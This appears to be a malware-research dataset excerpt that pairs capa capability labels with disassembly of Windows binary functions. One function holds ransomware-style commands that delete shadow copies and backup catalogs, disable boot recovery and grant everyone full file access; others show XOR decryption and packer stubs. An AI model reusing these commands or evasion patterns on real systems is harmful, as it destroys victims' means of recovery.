joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4fb312
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004fafb4

Function at 0x401000
Capabilities:
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features

Disassembly:
push ebp
mov ebp, esp
push str.icacls_.__grant_Everyone:F__T__C__Q
call fcn.00402bde
add esp, 4
push str.vssadmin_delete_shadows__all__quiet
call fcn.00402bde
add esp, 4
push str.wmic_shadowcopy_delete
call fcn.00402bde
add esp, 4
push str.wbadmin_delete_catalog__quiet
call fcn.00402bde
add esp, 4
push str.bcdedit__set_default_bootstatuspolicy_ignoreallfailures
call fcn.00402bde
add esp, 4
push str.bcdedit__set_default_recoveryenabled_no
call fcn.00402bde
add esp, 4
xor eax, eax
pop ebp
ret

Function at 0x401747
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401786
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401786
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401786
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401786
cmp dword [ecx + 0x74], 0xe
jbe 0x401786
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d240
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40d26d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40d26d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x433003
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
mov eax, section..reloc
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x580872f8
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..text
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x462e29ae
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x418c50
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push ebx
push 0x4c5f14
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
test eax, eax
je 0x418c6d
xor eax, eax
pop ebx
add esp, 0xc
ret
lea eax, [esp + 4]
mov ebx, 1
push eax
push ebx
push 0
push str.CLSIDEA92A799_267E_4DF5_A6ED_6A7E0684BB8AVersionIndependentProgID
push 0x80000000
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov dword [0x4c721c], eax
jne 0x418cea
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
push 0x4c5f14
push edx
push eax
mov dword [esp + 0x18], eax
push eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], 0x208
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov dword [0x4c721c], eax
jne 0x418cd2
cmp dword [esp + 8], ebx
je 0x418cd4
xor bl, bl
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x418cea
xor eax, eax
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x4c721c]
test ecx, ecx
jne 0x418d0d
test eax, eax
jle 0x418d08
and eax, 0xffff
or eax, 0x80070000
mov dword [0x4c721c], eax
mov eax, 0x80004005
pop ebx
add esp, 0xc
ret
Function at 0x4281c8
Capabilities:
Encode data using xor

Disassembly:
retf
and edx, 0xffffffe4
inc edx
jl 0x42816e
xor dword [edx + 0x1d], 0xfffffffb
mov cl, 0x46
xchg esi, eax
jp 0x428231
jg 0x428216
sbb edx, dword es:[edi + 0x4946f569]
fsubr dword [esi]
mov ecx, 0xa1edbf4f
invalid
mov edi, 0xbc51f5b0
fsub qword [edx - 0xa]
lodsb al, byte [esi]
mov ebp, 0xa671c4f3
or dword [edx - 0x66270758], ebp
dec ecx
int 0x99
inc edx
cmp cl, 0x71
adc dword [esi], edi
pop ds
xor al, 0x98
sbb dword [0x2316934e], esp
and al, 0x36
lahf
push eax
jg 0x4281f8
loopne 0x42829f
xor byte [ebx - 0x3fe02518], 0x5b
invalid
add ebp, dword [ebx]
push ebx
sti
mov edx, 0xd3ad9fd
outsd dx, dword ss:[esi]
ret 0xec9b
out 0x80, al
cld
sub al, 0x5b
xchg esi, eax
out dx, al
lea edi, [ebp + 0x31]
sub byte [bp + si - 0x2b], cl
mov esp, dword [ebx]
insb byte es:[edi], dx
not dword [esi - 0x2f]
pop ebp
sbb al, 0x5e
aad 0x8b
and ebp, dword [edi + esi*8 + 0x56]
rcr dword [ebp + 0x1c], 1
pop esi
fidiv word [edi + 0x7a]
pop esi
cwde
and edi, dword [ebx*4 + 0xb5a9155]
cmp eax, 0x860b8309
sahf
or ecx, dword [eax + 0x265eab9f]
dec esp
jbe 0x428303
mov eax, esi
and eax, 0x9889ad9f
inc edi
sbb cl, bl
jo 0x4282c7
invalid
sub eax, 0x1356f78f
test esi, 0x8c05849a
sbb bl, byte [esi + ecx*2 - 0x6e28e9ed]
xchg ecx, eax
jl 0x4282e2
les ebp, [0x12cc1651]
mov dl, 0x57
clc
shl byte [ecx], cl
and edx, esp
and dword [edx], ecx
clc
sub al, 0x76
inc esi
or edi, esp
mov word [ebx + 0x37], gs
aaa
push ecx
push ebp
pop ecx
loopne 0x4282ac
sahf
xor byte [edx], cl
sub cl, byte [edx - 0xa]
imul edx, esi, 0xffffff87
jg 0x4282d2
jecxz 0x4282ee
add byte [ebx - 0x63ab5ff0], ch
inc eax
mov ecx, 0xe37c5a03
adc edi, eax
fsub dword [ecx - 0x46]
wait
test dword [ebx + 0x64], edx
jg 0x42830d
inc eax
jg 0x428382
leave
mov cl, 0xad
scasd eax, dword es:[edi]
outsd dx, dword [si]
dec esp
cmp al, 0xb2
sbb dword [ebx], eax
mov eax, dword [0xd490bcfb]
imul byte [ebx - 7]
lea esp, [ecx + ebp*8]
pop ds
jg 0x428308
jp 0x4283b5
or eax, dword [edx + 0x678244d2]
nop
cmp al, 0x24
pop ds
popal
cmp edx, dword [esi + 4]
dec ebp
xchg ebx, eax
mov esi, 0x713d4db4
xchg ebp, eax
invalid
xor byte [ebx + 0x38], al
sbb al, 0xb7
inc esp
sub edx, dword [edi - 0x5297fb57]
enter 0x382f, 0xffffffffffffff8d
invalid
mov dl, 0xb8
fild word [edx]
dec edi
fst st(5)
fisub dword [ebx + 0x23]
cld
xchg edx, ebp
jo 0x4283e1
jecxz 0x428437
sbb al, 0x52
int3
not byte [ebp - 0x60]
sbb ebp, dword [ebx + 0x54]
mov bh, 0xb9
fdiv st(3), st(0)
in al, 0xc1
cli
add al, 0x41
mov bl, 0x25
push ss
xor dh, byte cs:[edx - 0x6ea5a2a]
invalid
push ebx
lcall 0x61b3, 0x401aed1e
cmc
wait
nop
jns 0x4284a4
test al, 0xac
cwde
inc esi
inc ebx
xchg edx, eax
je 0x42848f
invalid
jecxz 0x42842e
sahf
les ebp, [edi]
enter 0xffffffffffffd618, 0x3a
pop dword [edi]
sar esp, cl
cmc
sqrtps xmm0, xmmword [edi - 0x57]
and dword [0x7513b5b6], 0xffffffe8
jne 0x42848e
mov bl, 0x95
push eax
ljmp 0x7163
Function at 0x441023
Capabilities:
Encode data using xor

Disassembly:
sbb ecx, dword [edx - 0x77]
mov edx, 0x4ce57ff
mov esp, 0xdf150f11
unpckhps xmm3, xmm7
push es
lodsb al, byte [esi]
invalid
mov dh, 0x24
test byte [eax + 0x45ca05a3], bh
inc ebp
mov eax, dword [ebx + eax*8 - 0x3487aa20]
cmp al, 0xe3
inc eax
and eax, 0x3c1d7e7d
dec ecx
jl 0x440fd5
fidiv dword [ebp - 0x164b9d43]
dec ecx
daa
and al, 9
and al, 0xbb
sti
mov dl, byte [edx - 0x6f]
jle 0x440fbc
call 0x49bce0a3
dec edx
les ebp, [esi + 0x4493b941]
and byte [ebx + edx*8], ch
jae 0x441015
std
pop es
sbb eax, 0x6b4c40d7
rcr byte [edi + 0x4e], 0xa5
dec esi
movsd dword es:[edi], dword [esi]
fsub dword [esi]
sbb edi, ebx
ja 0x440fb2
sub al, 0x30
imul byte [esi + 0x20]
inc ecx
ja 0x44100a
wait
pushal
mov ah, 0x85
xor esp, dword [edi]
xor al, 0xca
xchg edi, eax
pushal
sal dword [edi], cl
movsb byte es:[edi], byte es:[esi]
xchg ebx, esi
mov ebx, dword [edi + 0x3fdc61ac]
loopne 0x440fce
wait
dec esi
xor byte [ecx - 0x44], bh
xchg edx, eax
popfd
xor al, 0xf1
push ss
sti
and al, byte [edi + ebx*8]
mov dword [esi - 0x357de0a8], edi
loope 0x44108d
mov bl, dl
ror dword [edi], cl
xor al, 0x55
movsd dword es:[edi], dword [esi]
sub eax, esp
xchg ebp, eax
dec esp
xor ecx, esp
invalid
mov dl, 0xa8
ja 0x4410ea
jne 0x4410e4
jo 0x4410dc
inc esi
in al, dx
jmp 0xa19a009
movsb byte es:[edi], byte [esi]
arpl si, sp
invalid
fisttp word es:[ebx + 0x2f]
test al, 0xf7
or esp, dword [edx + 0x2b047395]
push cs
mov byte ds:[0xdf77ebfe], al
salc
retf

Function at 0x448d20
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push str.JSON_STD_API_0A653E9C_5AAB_4b1c_A846_817D2B85BF5C
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x448d64
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x448d5a
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov esi, 0x68
call fcn.00418c50
jmp 0x448d67
mov esi, dword [ebp - 4]
call fcn.00418c50
jmp 0x448d67
mov esi, dword [ebp - 4]
push edi
mov ecx, 0x41
xor eax, eax
mov edi, 0x4c5b64
rep stosd dword es:[edi], eax
jmp 0x55fb9d
Function at 0x48f814
Capabilities:
Encode data using xor

Disassembly:
mov fs, word [esp + edx*4 - 0x7e]
dec edx
cwde
push ds
mov dh, 0x49
xchg bl, ch
inc ebx
mov byte [0x9ddd1536], al
int 0x48
inc ecx
fstp xword [esi + 0x12]
in eax, 0xdc
jmp 0xc4962be3
jmp 0x48f7d8
lodsd eax, dword [esi]
cmpsb byte [esi], byte es:[edi]
jg 0x48f793
xor al, 0xd
ja 0x48f805
mov cl, 0xea
dec esp
adc bl, bh
pop ecx
dec eax
std
jle 0x48f789
jne 0x48f816
xchg edi, eax
fldcw word [edx - 0xdceb2a0]
mov bh, 0xc1
rol esi, cl
lds ecx, [edi + 0x16fd4e05]
dec esp
in al, 0x4a
cwde
add edi, dword [edx + eax*2 + 0x7b]
out 0xcb, al
scasb al, byte es:[edi]
mov esp, 0x32df8dd2
aad 0xad
pop ebx
jnp 0x48f7c0
retf
fmul dword [eax]
add eax, 0x1f33d71e
sub eax, 0x26a8eb21
mov ecx, 0x2c13c3f6
xchg byte [eax + 0x66e0eb4], ch
xchg esi, eax
pop ebx
insb byte es:[edi], dx
adc byte [edi], dl
sub al, 0x4b
std
xor dh, 0x8b
test byte [ebx - 0x32760213], 0x78
mov ecx, 0x5f029b78
xchg byte [ebp - 0x56e69774], dh
push 0xaa89a919
ror dword [eax + 0x1f], cl
loopne 0x48f89a
daa
in eax, dx
std
mov ebp, ecx
js 0x48f7c6
js 0x48f7aa
add bl, byte [edi - 0x7a]
mov ch, 0x8c
push 0xaa89a919
ror dword [eax + 0x1f], cl
test eax, 0x48d3aa89
pop ds
loopne 0x48f89a
daa
pop dword [ebx + 0x35]
out dx, al
test byte [ecx - 9], 0x9f
jl 0x48f7e4
xchg ebp, eax
sbb eax, 0x28608fb3
cmc
pop ds
add edi, dword [ebx - 0x3d573c85]
pop es
imul esi, dword [ebp - 0x31], 0x11c55b82
les eax, [ecx - 0x75]
inc ecx
in eax, 0x81
pop ds
out dx, al
jae 0x48f868
sbb dword [edi], 0x3e1d73ee
mov dh, 0x75
mov dh, 0x75
test dh, 0x4c
mov bh, 0xfc
cld
cmp esi, edi
lodsd eax, dword [esi]
orps xmm6, xmmword [ebp + 0x33]
jno 0x48f807
sub ch, byte [0xc9877663]
jns 0x48f86e
hlt
xchg ebx, eax
sub byte [ebx - 0x28], cl
je 0x48f7f5
and al, 0x77
jl 0x48f86f
ja 0x48f8ed
std
push esp
mov eax, dword [0x88a19c33]
scasb al, byte es:[edi]
adc eax, 0x84822347
xchg edi, eax
or ebx, ebx
pop esp
xor eax, 0x53f36020
jns 0x48f900
les ecx, [esi + 0x41]
dec esi
les edx, [esi + 0x25c5b701]
mov esi, 0x6a9aa2a5
cmp ch, byte [ebp - 4]
cld
adc eax, 0x7be0a589
sub al, 0x8c
inc ebx
invalid
or edx, ecx
arpl word [ecx - 0x422610a6], bp
add byte [eax], dl
sbb edi, dword [eax - 0x562640a1]
xchg ecx, eax
push cs
insd dword es:[edi], dx
xchg edx, eax
mov ch, 0x8a
pushfd
add dh, byte [edx]
mov edi, 0xc8096d26
mov dh, dl
mov ebp, 0x2fb62969
mov al, byte [0x770b40e3]
push 0x25
mov esp, 0x81c81e1
lcall 0xf9f, 0x5017ab16
inc eax
jne 0x48f967
dec edi
cmp cl, dh
outsd dx, dword [esi]
mov dh, 0xf0
scasb al, byte es:[edi]
inc esp
aam 0xb4
xchg ebx, eax
mov ebx, 0x50ff21a1
xor byte [ebp + 0x64], dh
lcall 0xd2ec, 0x45befda8
cmp al, 0xe6
adc dh, byte [eax + 0x66]
push ss
or edx, dword [edi]
jmp 0x48f960
aaa
aaa
jae 0x48f961
push esp
adc dword [edx + 0x47], esp
inc edi
outsd dx, dword [esi]
out 0xe8, al
xchg dword [ebp + edi + 0x5e], esp
outsd dx, dword [esi]
call [ebx]
imul esp, dword [ecx - 0x31906936], 0x7eaa704e
out dx, al
daa
jge 0x48f98c
in al, dx
pop ebp
std
mov ebp, 0xbbf6f8b1
xor esp, esp
xor eax, 0x516f43f6
inc ebx
outsd dx, dword [esi]
push ecx
inc edx
jb 0x48f982
push ss
invalid
Function at 0x54a20c
Capabilities:
Parse pe header

Disassembly:
mov eax, esi
pop esi
pop ebp
ret
push ebx
mov ebx, esp
sub esp, 4
mov dword [esp], edi
mov edi, 0x7be7ba9e
shl edi, 5
and edi, 0x5f7b622e
sub edi, 0x5c7341fc
add ebx, edi
pop edi
sub ebx, 4
xchg dword [esp], ebx
pop esp
mov dword [esp], ecx
mov dword [esp], edx
push 0xa0802a
mov dword [esp], ecx
mov edx, dword [esp]
push edi
mov edi, esp
push edx
mov edx, 0x6f2fa81a
sub edx, 0x3a9f0ed8
and edx, 0x7a1be791
inc edx
sub edx, 0x301080fd
add edi, edx
pop edx
add edi, 4
xchg dword [esp], edi
pop esp
mov edx, dword [esp]
push 0x649c66db
mov dword [esp], esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
add esi, edx
mov edx, dword [esp]
add esp, 4
xchg dword [esp], esi
pop esp
push ebp
mov ebp, 0x45bf8612
inc ebp
sub ebp, 0x75f50798
shr ebp, 5
not ebp
neg ebp
sub ebp, 0xce9ab613
add eax, ebp
pop ebp
push edx
mov edx, 0x7fefc9f0
sub eax, edx
pop edx
add eax, esi
push ecx
mov ecx, 0x3abfee85
dec ecx
shr ecx, 7
add ecx, 0x45fbd556
add ecx, 0x397e74bd
add eax, ecx
pop ecx
sub eax, 0x37e39de1
jmp 0x590464
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], edi
push ecx
mov ecx, 0x7fe8a244
mov dword [esp + 4], ecx
pop ecx
mov dword [esp], eax
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg dword [esp], edx
pop esp
mov dword [esp], ebx
push dword [esp]
pop eax
add esp, 4
push dword [esp]
pop eax
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
pop esp
push dword [eax + 0x3c]
push dword [esp]
pop eax
push 0x7cb9d479
mov dword [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
jmp 0x5315a4
je 0x419036
jmp 0x539de4
mov dword [0x4c5f08], eax
jmp 0x59046e
cmp word [eax], 0x4550
jmp 0x55ecb9
Function at 0x4010b0
Capabilities:
Delete file
Get file size

Disassembly:
sub esp, 0x108
push ebx
push esi
push edi
call fcn.00401230
mov esi, eax
cmp esi, 0xffffffff
jne 0x4010d6
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x108
ret 0x10
push esi
call fcn.00401290
push esi
call fcn.00401320
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x4010fc
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x108
ret 0x10
push ebx
push esi
call fcn.00401360
add esp, 8
test al, al
jne 0x40111b
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x108
ret 0x10
push ebx
push esi
call fcn.004013a0
add esp, 8
test al, al
jne 0x40113a
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x108
ret 0x10
lea eax, [esp + 0xc]
mov dword [0x4079f0], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401172
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x401172
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x108
ret 0x10
mov ecx, dword [esp + 0xc]
push 1
push 0
push 0
push ecx
call fcn.00401c00
xor eax, eax
xor ecx, ecx
add eax, edi
adc edx, ecx
mov dword [0x4079f8], eax
mov dword [0x4079fc], edx
js 0x4011c4
jg 0x4011a0
cmp eax, 0x500000
jbe 0x4011c4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push section..text
push 0
push 0x67
push eax
mov dword [0x4079f4], eax
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov dword [0x4079f0], eax
lea edx, [esp + 0x10]
push edx
push ebx
push esi
call fcn.00401870
add esp, 0xc
test al, al
jne 0x4011e8
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x108
ret 0x10
lea eax, [esp + 0x10]
push eax
call fcn.00401a90
add esp, 4
test al, al
jne 0x40120a
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x108
ret 0x10
mov al, byte [0x407a08]
test al, al
je 0x40121e
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x108
ret 0x10

Function at 0x401320
Capabilities:
Read file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push 0
push 0
push 0x22
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 4]
push 0
push eax
lea ecx, [esp + 0x14]
push 4
push ecx
push esi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0xc]
pop esi
neg eax
sbb eax, eax
and eax, ecx
pop ecx
ret

Function at 0x401360
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push 0
add eax, 0xfffffff6
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [esp + 0xc]
push 0
push ecx
push 0xa
push 0x407a00
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
neg eax
sbb eax, eax
pop esi
neg eax
ret
Function at 0x401720
Capabilities:
Set registry value

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
lea eax, [esp + 0xc]
push ebx
lea ecx, [esp + 4]
push eax
mov eax, dword [esp + 0x10]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x28], 0
mov bl, 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401790
push esi
mov esi, dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 8]
push eax
push esi
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop esi
je 0x401780
xor bl, bl
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
pop ecx
ret
xor al, al
pop ebx
pop ecx
ret
Function at 0x401a90
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x4b8
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea ecx, [esp + 0xbc]
push str.SoftwareDigital_RiverSoftwarePassportTagWrapCore
push ecx
call fcn.00401d0c
add esp, 8
lea edx, [esp + 4]
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0x4c0]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
jne 0x401b35
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [esp + 0x58]
push str.errno_d
push edx
call fcn.00401d0c
lea eax, [esp + 0x60]
lea ecx, [esp + 0xc4]
push eax
push str.CreateProcess_Error
push ecx
push 0x80000001
call fcn.00401720
add esp, 0x1c
xor al, al
add esp, 0x4b8
ret
mov edx, dword [esp]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, 1
add esp, 0x4b8
ret

Function at 0x40341d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x407228
cmp edx, dword [eax]
je 0x40343f
add eax, 8
inc ecx
cmp eax, 0x4072b8
jl 0x403430
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x407228]
jne 0x40356d
mov eax, dword [0x407a1c]
cmp eax, 1
je 0x403547
test eax, eax
jne 0x403470
cmp dword [0x407174], 1
je 0x403547
cmp edx, 0xfc
je 0x40356d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4034a7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403f10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004038e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4034ea
lea eax, [ebp - 0x1a4]
push eax
call fcn.004038e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x406454
push edi
call fcn.00401d90
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403f10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403f20
lea eax, [ebp - 0xa0]
push 0x406434
push eax
call fcn.00403f20
push dword [esi + 0x40722c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403f20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00404bfe
add esp, 0x2c
pop edi
jmp 0x40356d
lea eax, [ebp + 8]
lea esi, [esi + 0x40722c]
push 0
push eax
push dword [esi]
call fcn.004038e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x408925
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
add ecx, ecx
call fcn.00408947
and esi, esi
xor dword [edx], edi
add esi, esi
add edx, 1
cmp edx, ebx
jne fcn.00408925
and ecx, esi
add ecx, esi
ret
Function at 0x10001000
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
jne 0x1000103b
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push 0
push 0x10001520
push 0
push 0
mov dword [0x1003c4c8], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov eax, 1
pop ebp
ret 0xc
test eax, eax
jne 0x10001044
call fcn.100016d0
mov eax, 1
pop ebp
ret 0xc

Function at 0x10003f90
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x10003ff1
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x10003fd4
cmp edi, 2
jb 0x10003fd4
cmp byte [esi], cl
jne 0x10003fd4
cmp byte [esi + 1], cl
jne 0x10003fd4
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x100353e8]
jmp 0x10003fa5
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x100353e8]
test edi, edi
jne 0x10003fa5
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x10004020
cmp cl, 0x23
jne 0x10004007
cmp byte [esi], cl
jne 0x10004007
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x100353e8]
test cl, cl
jne 0x10003ff8
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
Function at 0x10004130
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x10004144
mov dword [ebx], 0
mov edx, 0x1003500c
call fcn.10004030
mov esi, eax
test esi, esi
je 0x10004232
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call edi
add esp, 4
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x10004228
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x10004228
push esi
call edi
mov edi, eax
add esp, 4
mov dword [ebp + 8], edi
cmp edi, 0xffffffff
je 0x10004228
push 0
push dword [ebp - 4]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x10004228
mov eax, dword [0x1003c6c8]
test eax, eax
je 0x100041bc
inc dword [eax + 0xb4]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x10004228
push esi
push dword [ebp + 8]
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, dword [ebp + 8]
je 0x1000420d
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [0x1003c6c8]
add esp, 4
test eax, eax
je 0x100041fa
dec dword [eax + 0xb4]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebx, ebx
